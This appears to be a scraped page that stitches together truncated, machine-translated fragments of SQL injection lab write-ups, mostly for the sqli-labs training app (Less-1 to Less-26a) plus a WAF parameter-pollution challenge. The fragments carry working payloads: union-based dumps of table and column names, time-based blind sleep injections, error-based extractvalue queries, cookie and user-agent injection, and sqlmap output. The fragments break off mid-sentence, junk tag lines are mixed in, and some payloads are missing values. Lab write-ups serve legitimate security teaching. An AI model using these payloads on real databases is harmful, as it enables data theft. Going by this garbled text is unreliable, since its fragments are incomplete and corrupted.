twitch labs

Simple login to browse once, found to be a login registration change password applicationReview the CodeThe Username,password of the landing page uses an escapeThe parameters of the registration page are also escapedBut in the modified Password page, directly from the session to get the usernameSo there is a problem, username is created at registration, although escaped, but no restrictions on the input charactersTake a look at the SQL statement that changed the password$sql = "UPDATE users SET

Tags: interpreting ima alt. com technology amp PNG picture one29th PassThe intervention is that there is a WAF, which is really just a scenario for simulating a waf, meaning that the variables handled by WAF are inconsistent with the variables accepted by the daemon.Test the parameters of pollution, specific can refer to other articles on the HPP interpretation.First look at the source bar:Input? id=1id= ' Union Select 1,database (), 3--%20Can see I print this 1, this is the WAF processing varia

Tags: free ASE technology constructor font technology share delay length 1' or 1=1# and fail 1 "or 1=1# 1=1#-- fail 11=1 # --> Success Judging by double-quote deformation injectionUsing the Sleep function to determine the database name length1 or if (Length (database())=7,1, Sleep (5)) #Time delay does appear, but not 5sExecute it in the database+There are 13 data in the Users table, where a condition match occurs becau

information_schema.schemata-- + LIMIT 0,1?Data sheet for the explosion security databaseHTTP://127.0.0.1/SQLLIB/LESS-1/?ID=-1%27UNION%20SELECT%201,GROUP_CONCAT (table_name), 3%20from%20information_ schema.tables%20where%20table_schema=%27security%27--+The SQL statement at this time is select * from the users where id= '-1 ' union SELECT 1,GROUP_CONCAT (TABLE_NAME), 3 from Information_schema.tables where Table_schema= ' security '--+ LIMIT 0,1?To explode the columns of the Users tableHttp://127.

Label:Less-4We use the id=1. After injecting the code, we get an error like this: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘"1"") LIMIT 0,1‘ at line 1 Here it means that the ID parameter is wrapped in "" and () in the code. So we're going to inject it with this code: ?id=1")–-+ In this way, we can get the user name and password, and the subsequent query has been commented out. In the source code of t

Less-3We use? id= 'After injecting the code, we get an error like this:MySQL?server?version?for?the?right?syntax?to?use?near?"")?LIMIT?0,1′?at?line?1Here it means that the query that the developer uses is:Select?login_name,?select?password?from?table?where?id=?(‘our?input?here‘)So we're going to inject it with this code:?id=1′)?–-+In this way, we can get the user name and password, and the subsequent query has been commented out.In the source code of the SQL query statement, 31 rows:$sql="SELECT

://127.0.0.1/sqllib/Less-9/?id=1 ' and If (ASCII (SUBSTR ((select table_name from Information_schema.tables where Table_schema= ' security ' limit), =114,1,sleep (5))--+Guess the first bit of the second data table is R,... By analogy, get referers...And so on, we can get all the datasheets emails,referers,uagents,usersGuess the columns of the Users table:Http://127.0.0.1/sqllib/Less-9/?id=1 ' and If (ASCII (substr ((select column_name from Information_schema.columns where Table_name= ' users ' l

Label:less-26aThe difference between this and 26 is that the SQL statement adds a parenthesis and does not output on the foreground page after the SQL statement executes the throw error. All of us exclude the error injection, here is still using union injection.The SQL statement is the SELECT * from Users WHERE id= (' $id ') LIMIT 0,1We construct payload:http://127.0.0.1/sqllib/Less-26a/?id=100 ') union%a0select%a01,2,3| | (' 1Explain: base and 261, we directly use ') to close the front, and the

Less-10We can see "time-double quotation mark" from the headline, so it is obvious that we should use the delay injection, while the ID parameter is "processing." The difference with LESS9 is that the single quotation mark (') becomes the ("), we give a payload example here, the others refer to less-9Guessing database:Http://127.0.0.1/sqllib/Less-10/?id=1 "And%20if (ASCII (substr () (Database ()) =115,1,sleep (5))--+For the rest of the examples please refer to LESS9, which does not demonstrateSq

Less-15There is no error in this note, so we can only inject it by guessing. Here I see the SQL statements directly from the source code@ $sql = "Select username, password from users WHERE username= ' $uname ' and password= ' $passwd ' LIMIT 0,1 ';That's where the ID is handled by ' ID '.We use delay injection to do this.Guess the first bit of database name:Uname=admin ' and If (ASCII (substr (Database (),)) =115,1,sleep (5)) #passwd= submit= SubmitThe correct time can be directly logged in, inc

Less-18We are here to learn from the source code directlyThe Check_input () function is handled for uname and passwd, so it is not possible to inject on the input uname and passwd, but in the code we see the Insert ()$insert = "INSERT INTO ' security '. ' Uagents ' (' uagent ', ' ip_address ', ' username ') VALUES (' $uagent ', ' $IP ', $uname)";Insert useragent and IP into the database, then can we use this to inject it?IP Address We change here is not very convenient, but useragent modificatio

Less-12This and LESS11 are similar, but there is a certain difference in the processing of ID parametersWhen input Username:admin "Password: (Casual)The result after the error is:You have a error in your SQL syntax; check the manual, corresponds to your MySQL server version for the right SYN Qweqwe") LIMIT 0,1 ' at line 1Focus on the red part of the above, that is, "the" section, we can learn that the ID here ("id") processing, so we can still use the universal password to try.Username:admin "

Less-26TIPS: This may have friends in Windows can not use some special characters in lieu of space, here is because of the problem of Apache parsing, please replace this here to Linux platform.This close combination of 25 off, will be space, or,and,/*,#,--,/and other symbols filter, here for And,or treatment method no longer repeat, refer to 25. Here we need to illustrate two things: for comments and trailing characters we can only use the construction of a ' to close the back to '; There are mo

Label:Less-13We enter Username:admin 'Password: (Lose freely)To testCan see the error, the errors are:You have a error in your SQL syntax; Check the manual-corresponds to your MySQL server version for the right syntax-use near ' 1') LIMIT 0,1 ' at Line 1 You can see the red font in the above, that is, ') we can know the program to the ID of ') processing.We can obviously see that this does not show you the login information, can only give you a log on the success of the return data.Then we can u

Label:Less-20From the source code we can see that after the cookie has obtained a value from username, when it is refreshed again, the username is read from the cookie and then queried.Once the login is successful, we modify the cookie, and when we refresh it again, the SQL statement will be modified.We use temper data for demonstration purposes.As shown, we modify the cookie toUname=admin1 ' and Extractvalue (1,concat (0x7e, (select @ @basedir), 0x7e)) #Can see the error, we got the path of MyS

Label:Less-7The title of this is dump into outfile, which means we inject it by using the file import method. In background-3 we have learned how to use dump into file.This is the first step back to the source code. Focus on the processing of ID parameters and SQL statements, from the source code can be seen $sql= "select * from the Users WHERE id= ((' $id ')) LIMIT 0,1";The ID parameter is processed here). So we can actually try ') ' or 1=1--+ to injectHttp://127.0.0.1/sqllib/Less-7/?id=1 ')) o

Sqlmap:Python sqlmap.py-u "http://mysqli/Less-2/?id=1"---Parameter:id (GET)Type:boolean-based BlindTitle:and boolean-based blind-where or HAVING clausePayload:id=1 and 9029=9029Type:error-basedTitle:mysql >= 5.0 and Error-based-where, have, ORDER by or GROUP by clause (floor)Payload:id=1 and (select 7263 from (select COUNT (*), CONCAT (0x71707a6b71, (Select (ELT (7263=7263,1))), 0x7170786b71, Floor (RAND (0) *) x from INFORMATION_SCHEMA. PLUGINS GROUP by X) a)type:and/or time-based BlindTitle:my

At this level, I learned1. The error of the program is not the school charges, the single quotation mark error and the minus sign error to understandSingle quotation mark error.I tried the payload with the first pass.To see the source code:Then the SQL that we construct becomes$sql = "SELECT * from Users WHERE id=1 ' or 1=1--+ LIMIT 0,1";So that id=1 ' is not executed, and the statement becomes:$sql = "or 1=1--+ limit 0,1";Test it with MySQL, for example. That's true!Then single quotation mark d

/* Mood xxxx*/at this timeThrough this level, I learned1. Probably can MySQL echo error injection of the face, can be based on an error, write a closed statement.Add a single quotation mark. The error is shown below.Add a single quotation mark and say1 ") LIMIT 0,1 ' at line 1In fact, you can guess what his SQL statement probably is.That should be the case.Select *　where ('$id');Depends on the driver's level.and then write payload.- 1 ' ) union Select--+Let's see if the source code is so.Yes, su

fields, K = 4, then an error will be given. So you can tell by this how many fields */(3) Get information using federated queriesMethod:Using the Union statementExperimental steps: Warm-up exercises are not fortified: Key code:Target: Attempt SQL injection to get the user name and password in the database.Determine if there is an injection:Two times the display is not the same, there is injection.Number of guessing fields:Among them, Mysql has the following comments:The purpose is